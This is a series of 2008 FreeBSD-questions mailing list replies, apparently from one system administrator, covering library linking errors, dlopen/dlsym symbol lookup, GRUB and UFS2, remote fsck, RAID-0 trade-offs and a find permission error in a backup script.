On Fri, Nov 14, 2008 at 12:19:34PM -0800, Jim Pazarena wrote: > Wojciech Puchar wrote: >>> please can you help me i am totally confused i want to change from >>> windows vista >>> >>> but i cannot understand which system to use >> >> maybe windows XP? >> >>> >>> i am not sure if freebsd will work with my hardware and software >> >> simply check it. > > unless you think this may be a troll, > your comments seem a great way to chase away a potential convert to FreeBSD. But why are we interested in "converting" people? That borders on religious, which an operating system should not be. People should use whatever OS gets the job done for them, be it Windows, FreeBSD, Linux, OS X, Solaris, DOS, whatever. The OP's question is vague in a sincere way; users who want to move away from an OS often hope there is a simple answer, when in fact there isn't. My point is that focusing on "converting" someone, I feel, is the wrong way to go about showing the world the operating system is worth using. To me, it's just just another manipulative form of marketing; and I don't know about you, but marketing doesn't sway me when it comes to most things (*especially* computing-oriented things). Marketing often turns people off to things, rather than on. I'm not saying "we don't need new users" -- I'm saying: if we took half the energy used "converting" people and applied it to fixing bugs and improving FreeBSD, there wouldn't be a need to "convert". "Build it (and secure/stabilise it) and they will come". I guess I just see things in a different light than most. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Re: port upgrade problem: libncurses.so.5.6 not found
On Thu, Nov 13, 2008 at 12:03:14PM -0500, Tsu-Fan Cheng wrote: > as I look into my system, under /usr/local/lib, I found out that I not > only don't have libncurses.so.5.6, but instead I have > libncurses.so.5.7. And this file was created this morning (Nov 13, > 09:03) while I was trying to upgrade my ports. Odd > > I am running freebsd 7.0, as my uname tells me.. Mel's question applies as well (and is something that I've wondered too). Now I'm wondering this as well: How/why do you have libncurses* in /usr/local/lib? FreeBSD 7.0 comes with ncurses (see /usr/lib/libncurses.so.7). You must have some port or piece of software on your machine which is requiring an old (compat5x) version of libncurses, or you have a machine that has been upgraded from FreeBSD 5.x to 6.x to 7.x. I really don't know what to make of this. > On Thu, Nov 13, 2008 at 11:47 AM, Jeremy Chadwick <[EMAIL PROTECTED]> wrote: > > On Thu, Nov 13, 2008 at 08:12:49AM -0800, [EMAIL PROTECTED] wrote: > >> learned a new thing, here is the output: > >> /usr/local/bin/xgettext: > >> libgettextsrc-0.17.so => /usr/local/lib/libgettextsrc-0.17.so (0x280a9000) > >> libgettextlib-0.17.so => /usr/local/lib/libgettextlib-0.17.so (0x280de000) > >> libcroco-0.6.so.3 => /usr/local/lib/libcroco-0.6.so.3 (0x281bb000) > >> libxml2.so.5 => /usr/local/lib/libxml2.so.5 (0x281ef000) > >> libz.so.4 => /lib/libz.so.4 (0x2831b000) > >> libm.so.5 => /lib/libm.so.5 (0x2832d000) > >> libglib-2.0.so.0 => /usr/local/lib/libglib-2.0.so.0 (0x28342000) > >> libicui18n.so.38 => /usr/local/lib/libicui18n.so.38 (0x283f1000) > >> libintl.so.8 => /usr/local/lib/libintl.so.8 (0x28559000) > >> libpcre.so.0 => /usr/local/lib/libpcre.so.0 (0x28562000) > >> libncurses.so.5.6 => not found (0x0) > >> libiconv.so.3 => /usr/local/lib/libiconv.so.3 (0x28591000) > >> libbsdxml.so.3 => /lib/libbsdxml.so.3 (0x28685000) > >> libc.so.7 => /lib/libc.so.7 (0x286a3000) > >> libncurses.so.5.6 => not found (0x0) > >> libicuuc.so.38 => /usr/local/lib/libicuuc.so.38 (0x287a4000) > >> libicudata.so.38 => /usr/local/lib/libicudata.so.38 (0x288b9000) > >> libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x2939) > >> libm.so.4 => /lib/libm.so.4 (0x2945b000) > >> > >> it's weird that it still shows libncurses.so.5.6, any thoughts?? thanks!! > > > > It's not weird at all. When a binary is linked to a shared library > > (during the linking phase), the library filename (libXXX.so.X.X) is > > stored in the binary, not "libXXX.so". > > > > I'm not sure how/why a rebuild xgettext is linking to what appears to be > > a very old version of libncurses. libncurses.so.5.6 would be for > > FreeBSD 5.x, I believe; my FreeBSD 6.x machines have libncurses.so.6, > > and my FreeBSD 7.x + CURRENT machines have libncurses.so.7. > > > > -- > > | Jeremy Chadwickjdc at parodius.com | > > | Parodius Networking http://www.parodius.com/ | > > | UNIX Systems Administrator Mountain View, CA, USA | > > | Making life hard for others since 1977. PGP: 4BD6C0CB | > > > > > ___ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "[EMAIL PROTECTED]" -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Re: port upgrade problem: libncurses.so.5.6 not found
On Thu, Nov 13, 2008 at 08:12:49AM -0800, [EMAIL PROTECTED] wrote: > learned a new thing, here is the output: > /usr/local/bin/xgettext: > libgettextsrc-0.17.so => /usr/local/lib/libgettextsrc-0.17.so (0x280a9000) > libgettextlib-0.17.so => /usr/local/lib/libgettextlib-0.17.so (0x280de000) > libcroco-0.6.so.3 => /usr/local/lib/libcroco-0.6.so.3 (0x281bb000) > libxml2.so.5 => /usr/local/lib/libxml2.so.5 (0x281ef000) > libz.so.4 => /lib/libz.so.4 (0x2831b000) > libm.so.5 => /lib/libm.so.5 (0x2832d000) > libglib-2.0.so.0 => /usr/local/lib/libglib-2.0.so.0 (0x28342000) > libicui18n.so.38 => /usr/local/lib/libicui18n.so.38 (0x283f1000) > libintl.so.8 => /usr/local/lib/libintl.so.8 (0x28559000) > libpcre.so.0 => /usr/local/lib/libpcre.so.0 (0x28562000) > libncurses.so.5.6 => not found (0x0) > libiconv.so.3 => /usr/local/lib/libiconv.so.3 (0x28591000) > libbsdxml.so.3 => /lib/libbsdxml.so.3 (0x28685000) > libc.so.7 => /lib/libc.so.7 (0x286a3000) > libncurses.so.5.6 => not found (0x0) > libicuuc.so.38 => /usr/local/lib/libicuuc.so.38 (0x287a4000) > libicudata.so.38 => /usr/local/lib/libicudata.so.38 (0x288b9000) > libstdc++.so.5 => /usr/lib/libstdc++.so.5 (0x2939) > libm.so.4 => /lib/libm.so.4 (0x2945b000) > > it's weird that it still shows libncurses.so.5.6, any thoughts?? thanks!! It's not weird at all. When a binary is linked to a shared library (during the linking phase), the library filename (libXXX.so.X.X) is stored in the binary, not "libXXX.so". I'm not sure how/why a rebuild xgettext is linking to what appears to be a very old version of libncurses. libncurses.so.5.6 would be for FreeBSD 5.x, I believe; my FreeBSD 6.x machines have libncurses.so.6, and my FreeBSD 7.x + CURRENT machines have libncurses.so.7. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: vnconfig virtual nodes - how is that done nowadays in 7.x?
On Thu, Nov 13, 2008 at 02:47:27PM +0100, Christoph Kukulies wrote: > There was a vnconfig way back in FreeBSD that allowed for managing > virtual disks or disks as > files. What is the means to handle that kind of situation? mdconfig(8) nowadays. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Any help about FreeBSD & Dell's Troubleshooting Tool DSET
On Thu, Nov 13, 2008 at 02:16:58PM +0100, VeeJay wrote:
> I have asked the system manufacturers (Dell) but they don't provide support
> for FreeBSD based systems [?]
> Thats why I have only hope here with FreeBSD List...
I've CC'd Scott Long, who is the author of the mfi(4) driver. He should
be able to explain what the error messages mean.
Scott, check out the URL below.
> On Thu, Nov 13, 2008 at 1:41 PM, Jeremy Chadwick <[EMAIL PROTECTED]> wrote:
>
> > On Thu, Nov 13, 2008 at 01:29:11PM +0100, VeeJay wrote:
> > > If it looks healthy, why there are these errors on the screen? Is it
> > > controller problem or disk?
> >
> > SCSI normally reports 3 things when it encounters an error (particularly
> > disk errors): Sense Key (SK), Additional Sense Code (ASC), and
> > Additional Sense Code Qualifier (ASCQ).
> >
> > What appears in the below screenshot is a large amount of sense data,
> > but I can't make heads or tails out of it, because it's written in a
> > driver-centric manner ("Encl PD" means nothing to me). I can read part
> > of the CDB data, but it doesn't tell me much. Scott Long might know.
> >
> > http://digitalfreaks.org/~lavalamp/20081023_server3_screen_dump.png
> >
> > You should try asking the system manufacturer if they know what any
> > of the data means.
--
| Jeremy Chadwickjdc at parodius.com |
| Parodius Networking http://www.parodius.com/ |
| UNIX Systems Administrator Mountain View, CA, USA |
| Making life hard for others since 1977. PGP: 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Any help about FreeBSD & Dell's Troubleshooting Tool DSET
On Thu, Nov 13, 2008 at 01:29:11PM +0100, VeeJay wrote:
> If it looks healthy, why there are these errors on the screen? Is it
> controller problem or disk?
SCSI normally reports 3 things when it encounters an error (particularly
disk errors): Sense Key (SK), Additional Sense Code (ASC), and
Additional Sense Code Qualifier (ASCQ).
What appears in the below screenshot is a large amount of sense data,
but I can't make heads or tails out of it, because it's written in a
driver-centric manner ("Encl PD" means nothing to me). I can read part
of the CDB data, but it doesn't tell me much. Scott Long might know.
http://digitalfreaks.org/~lavalamp/20081023_server3_screen_dump.png
You should try asking the system manufacturer if they know what any
of the data means.
--
| Jeremy Chadwickjdc at parodius.com |
| Parodius Networking http://www.parodius.com/ |
| UNIX Systems Administrator Mountain View, CA, USA |
| Making life hard for others since 1977. PGP: 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: dlsym can't use handle returned by dlopen?
On Thu, Nov 13, 2008 at 12:24:02AM -0800, Jeremy Chadwick wrote: > On Thu, Nov 13, 2008 at 09:20:59AM +0100, Markus Hoenicka wrote: > > Quoting Jeremy Chadwick <[EMAIL PROTECTED]>: > > > >> When I looked at the resulting symbol names using nm or objdump, certain > >> characters were prepended to them. There's a gcc or ld flag which > >> disables this behaviour. I'll have to dig around to remind myself what > >> it is. Once I read about it, it made perfect sense. > >> > >> Again, if you want me to write some code and provide some output of > >> what I'm talking about, I can do so. > >> > > > > I'd greatly appreciate any help here. I feel what I'm doing now is > > writing ugly hacks to make things work somehow. I'd prefer to do it > > properly. > > No problem. I'll try to get something small/simple written up tonight > (I'm at work right now) and send it out. As promised: http://www.malkavian.com/~jdc/myprog.tar.gz I couldn't figure out what the gcc flag was that I needed to keep certain characters from getting prepended to the symbol names. I believe the char added was an underscore, but I could be wrong. Either way, the example should help you, I think. (You can change RTLD_LAZY to RTLD_NOW and it still functions as expected) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: GRUB: Filesystem type unknown (ufs2)
On Thu, Nov 13, 2008 at 03:16:40AM -0800, Unga wrote: > --- On Thu, 11/13/08, Jeremy Chadwick <[EMAIL PROTECTED]> wrote: > > > How about asking the GNU GRUB folks if GRUB 0.97 supports > > UFS2? > > > It seems some old version of GRUB on a old version of FreeBSD has worked: > http://lists.freebsd.org/pipermail/freebsd-hackers/2004-May/006944.html > > > Also, GRUB is up to 1.96, and does work with amd64. The > > port is > > horribly outdated. > > > I don't mind try GRUB 1.96. The problem is I have never used GRUB2 and I have > no idea how to configure it. Is there a good notes/documentation on how to > use GRUB2? What I need basically is where to put files (eg. stage1, stage2 > and *_stage1_5 of GRUB1 in /boot/grub/.) and a sample configuration file. > Anyway meanwhile I'll try to find some documentation. > > > ftp://alpha.gnu.org/gnu/grub/ > > > I got my file from above location. I think these kinds of questions should probably go to the GNU GRUB folks though, don't you think? I don't mean to sound like I'm stepping on your efforts, but the sysutils/grub port has very little to it (meaning, issues/problems of this type should very likely be issues with GRUB itself and not with the port or FreeBSD). It would be really cool if since you're working on getting GRUB2 working, you could make a port for it, e.g. sysutils/grub2. :-) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FreeBSD 5.4 - filesystem full
On Thu, Nov 13, 2008 at 02:05:28PM +0300, Varshavchick Alexander wrote: >> Booting into single-user via serial console, KVM, KVM-over-IP, or >> iLO/LOM (if HP/Compaq) is sufficient. If you have servers which are >> remote and you lack any of these features, I'm both surprised and not >> sure what to tell you. You'll encounter this problem with any OS, not >> just FreeBSD. > > I'm looking for something similar to /forcefsck file on the linux > systems. Ideally this should be handled either nextboot(8), via a special flag passed to boot(8). However, I see no such capability in the man pages, so you might be out of luck. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: GRUB: Filesystem type unknown (ufs2)
On Thu, Nov 13, 2008 at 02:24:33AM -0800, Unga wrote: > Hi all > > I have compiled and installed grub-0.97.tar.gz on FreeBSD 7.0 (i386). > > It shows the grub cannot recognize ufs2 file systems. > > grub> root (hd1,0, > Possible partitions are: >Partition num: 0, [BSD sub-partitions immediately follow] > BSD Partition num: 'a', Filesystem type unknown, partition type 0xa5 > BSD Partition num: 'b', Filesystem type unknown, partition type 0xa5 > BSD Partition num: 'd', Filesystem type unknown, partition type 0xa5 > BSD Partition num: 'e', Filesystem type unknown, partition type 0xa5 > BSD Partition num: 'f', Filesystem type unknown, partition type 0xa5 > > All stage1, stage2 and *_stage1_5 are in /boot/grub/. > > The fstype used for bsdlabel for b is swap and for others its 4.2BSD. > > Files systems were created as follows: > newfs -U /dev/ad2s1a > newfs /dev/ad2s1d > newfs -U /dev/ad2s1e > newfs -U /dev/ad2s1f > > Do others experience this issue? Do I need to patch the Grub to recognize > ufs2 file systems? > > Your reply is very much appreciated. How about asking the GNU GRUB folks if GRUB 0.97 supports UFS2? Also, GRUB is up to 1.96, and does work with amd64. The port is horribly outdated. ftp://alpha.gnu.org/gnu/grub/ -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: dlsym can't use handle returned by dlopen?
On Thu, Nov 13, 2008 at 09:20:59AM +0100, Markus Hoenicka wrote: > Quoting Jeremy Chadwick <[EMAIL PROTECTED]>: > >> When I looked at the resulting symbol names using nm or objdump, certain >> characters were prepended to them. There's a gcc or ld flag which >> disables this behaviour. I'll have to dig around to remind myself what >> it is. Once I read about it, it made perfect sense. >> >> Again, if you want me to write some code and provide some output of >> what I'm talking about, I can do so. >> > > I'd greatly appreciate any help here. I feel what I'm doing now is > writing ugly hacks to make things work somehow. I'd prefer to do it > properly. No problem. I'll try to get something small/simple written up tonight (I'm at work right now) and send it out. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: dlsym can't use handle returned by dlopen?
On Thu, Nov 13, 2008 at 09:00:21AM +0100, Markus Hoenicka wrote: > Quoting Jeremy Chadwick <[EMAIL PROTECTED]>: > >> I know that the .so's you're loading with dlopen() need to be built a >> specific way/with certain arguments, otherwise they won't work (I >> believe what I saw was dlsym() returning NULL). My symbol names were >> getting stomped on, and there was a compiler flag that addressed that. > > Is that a BSD-specific problem? As mentioned previously, I don't run > into trouble on other platforms. Is there any documentation available > which tells me how to build a dlopen()'able object in a portable way? I wouldn't classify is as a problem in any way, and I cannot imagine it's specific to BSD; I'm much more inclined to believe it's specific to gcc. When I looked at the resulting symbol names using nm or objdump, certain characters were prepended to them. There's a gcc or ld flag which disables this behaviour. I'll have to dig around to remind myself what it is. Once I read about it, it made perfect sense. Again, if you want me to write some code and provide some output of what I'm talking about, I can do so. >>> function_pointer = dlsym(RTLD_DEFAULT, "function_name"); >>> >>> Why is that? Or rather: what am I doing wrong? >> >> This code right here is *completely* wrong. RTLD_DEFAULT is a mode bit >> for dlopen(). I'm willing to bet a strict set of warnings would > > Citing the FreeBSD dlsym(3) man page: > > "If dlsym is called with the special handle RTLD_DEFAULT, the search > for the symbol follows the algorithm used for resolving undefined symbols > when objects are loaded." > > You probably had RTLD_LAZY and RTLD_NOW in mind which are dlopen() > flags. BTW RTLD_NEXT works just as well instead of RTLD_DEFAULT. You are right -- I missed that part of the man page, and I was most definitely thinking of RTLD_LAZY and RTLD_NOW. I cannot explain the behaviour using dlsym(RTLD_DEFAULT, ...). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Any help about FreeBSD & Dell's Troubleshooting Tool DSET
On Thu, Nov 13, 2008 at 01:43:46PM +0800, TJ Varghese wrote: > On Thu, Nov 13, 2008 at 12:20 AM, Sérgio de Almeida Lenzi > <[EMAIL PROTECTED]>wrote: > > > Hello > > > > > > > > the best configuration I used is to use RAID-0 (no raid) > > on the controller and g mirror on the FreeBSD (that is I use > > the mirror in software) mainly because the Freebsd kernel > > is, in this manner, can detect problems with the drivers > > and so, can act on it > > > > > Do not use RAID-0! What you want is JBOD and freebsd's software raid. > RAID-0 does striping over both drives...if one drive is dead you're screwed. There is nothing inherently wrong with RAID-0. For example, prior to having a machine that supported more than 3 disks, I used gstripe(8) heavily on my home FreeBSD box. I was **very** well-aware of the negative aspects of RAID-0 (one disk dies, you lose the entire filesystem). Which is why I performed backups. Daily. My point: RAID-0 is fine to use, as long as you're doing backups often, and accept what will happen if one of your disks goes bad. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: Permission Denied for "find" command; No idea why
On Thu, Nov 13, 2008 at 12:16:24AM -0500, APseudoUtopia wrote: > Hey. I've been writing a set of sh backup scripts over the past few > days. I'm having some trouble with the final thing with them. > > This is the command that is being run by the "www" user via cron: > /usr/bin/find /usr/local/backups/ -ctime +7d -type f -not -name > "*daily_backup*" -ls > > (Eventually, I'm going to change the "-ls" to "-delete") > > This is the "ls -al" of /usr/local/backups: > drwxrwx--- 2 www wheel512 Nov 13 04:29 . > drwxr-xr-x 15 root wheel512 Nov 12 20:24 .. > -rw--- 1 www wheel 22250785 Nov 13 04:18 2008-11-13.mysql-main.sql > -rw--- 1 www wheel 124781 Nov 13 04:18 > 2008-11-13.mysql-staffwiki.sql > -rw--- 1 www wheel 674306 Nov 13 04:18 2008-11-13.mysql-wiki.sql > -rw--- 1 www wheel 111845376 Nov 13 04:18 2008-11-13.www.tar > -r-xrw 1 www wheel 8109 Nov 13 04:16 daily_backup.sh > > For some reason, the "find" command above is getting a "permission denied." > And, again, the "find" command is being run by the "www" user, who > owns the files and dir. > The exact message is: "find: .: Permission denied" > > The "find" permissions: > -r-xr-xr-x 1 root wheel 36800 Oct 23 01:17 /usr/bin/find > > Also, all dirs above /usr/local/backups (/usr and /usr/local) are +x > for the "other" user, so the www should be able to enter them: > drwxr-xr-x 17 root wheel 512 Nov 12 20:38 usr > drwxr-xr-x 15 root wheel 512 Nov 12 20:24 local > > Does anyone have any idea what's causing this permission denied error? > Obviously it's some sort of permissions problem, but I have no idea > where or what exactly it is. It's driving me crazy. "find: .: Permission denied" would only be returned, AFAIK, if you were doing "find . ", which your "find" example above does not show. Example: $ id uid=1000(jdc) gid=1000(users) groups=1000(users),0(wheel),20(staff),1002(wwwsite),1501(storage) $ ls -ld /var/heimdal drwx--2 root wheel 512 14 Oct 13:21 /var/heimdal/ $ find /var/heimdal -print /var/heimdal find: /var/heimdal: Permission denied $ $ find /var/db -type d -print 1> /dev/null find: /var/db/entropy: Permission denied find: /var/db/ipf: Permission denied find: /var/db/postfix: Permission denied $ ls -ld /var/db/entropy /var/db/ipf /var/db/postfix drwx--2 operator operator 512 12 Nov 21:22 /var/db/entropy/ drwx--2 root wheel 512 14 Oct 13:21 /var/db/ipf/ drwx--2 postfix wheel 512 6 Nov 04:16 /var/db/postfix/ -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: dlsym can't use handle returned by dlopen?
On Thu, Nov 13, 2008 at 12:59:27AM +0100, Markus Hoenicka wrote:
> FreeBSD yeti.mininet 6.1-RELEASE FreeBSD 6.1-RELEASE #1: Mon Aug 28 22:24:48
> CEST 2006 [EMAIL PROTECTED]:/usr/src/sys/i386/compile/YETI i386
>
> I'm trying to do the following: libdbi (http://libdbi.sourceforge.net)
> is a database abstraction layer which is linked as a shared object
> into applications. The libdbi library uses dlopen() to load database
> drivers which in turn are linked against database client
> libraries. Now I want to access functions defined in the database
> client library from within the libdbi library. In brief, I thought
> this is going to work like this:
>
> dlhandle = dlopen("path", RTLD_NOW);
> ...
> function_pointer = dlsym(dlhandle, "function_name");
>
> dlhandle is not NULL and does not crash the app when passed to
> dlclose(), so I assume the handle is valid. Accessing the functions
> does work on most systems (Linux, OSX, Cygwin, to name a few), but I
> get "Undefined symbol" errors on FreeBSD. Interestingly, the following
> does work:
I've personally used dlopen() and dlsym(), and they do work as
documented (my original goal with bsdhwmon was to keep each chip in a
separate .so. It worked, but added complexities of the program nature
itself kept me from using it at the time). I tested this on both i386
and amd64.
I know that the .so's you're loading with dlopen() need to be built a
specific way/with certain arguments, otherwise they won't work (I
believe what I saw was dlsym() returning NULL). My symbol names were
getting stomped on, and there was a compiler flag that addressed that.
I can go back and write code that does all of this if you'd like, but my
point is that they do work.
> function_pointer = dlsym(RTLD_DEFAULT, "function_name");
>
> Why is that? Or rather: what am I doing wrong?
This code right here is *completely* wrong. RTLD_DEFAULT is a mode bit
for dlopen(). I'm willing to bet a strict set of warnings would
catch this. Try building your application with:
-g3 -ggdb -Werror -Wall -Wunused -Waggregate-return -Wbad-function-cast
-Wcast-align -Wdeclaration-after-statement -Wdisabled-optimization
-Wfloat-equal -Winline -Wmissing-declarations -Wmissing-prototypes
-Wnested-externs -Wold-style-definition -Wpacked -Wpointer-arith
-Wredundant-decls -Wsign-compare -Wstrict-prototypes -Wunreachable-code
-Wwrite-strings
And see what appears.
--
| Jeremy Chadwickjdc at parodius.com |
| Parodius Networking http://www.parodius.com/ |
| UNIX Systems Administrator Mountain View, CA, USA |
| Making life hard for others since 1977. PGP: 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FreeBSD 5.4 - filesystem full
On Wed, Nov 12, 2008 at 05:26:58PM +0300, Varshavchick Alexander wrote: >> I would start by taking the machine down, booting it into single-user, >> and running fsck -y. background fsck does not catch all errors. > > Okay then, are there any ways of performing it remotely, without my going > to the data center and standing near the server for an hour while it > checks? I mean are there any civil ways, or only running reboot -qn and > praying? :) Booting into single-user via serial console, KVM, KVM-over-IP, or iLO/LOM (if HP/Compaq) is sufficient. If you have servers which are remote and you lack any of these features, I'm both surprised and not sure what to tell you. You'll encounter this problem with any OS, not just FreeBSD. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
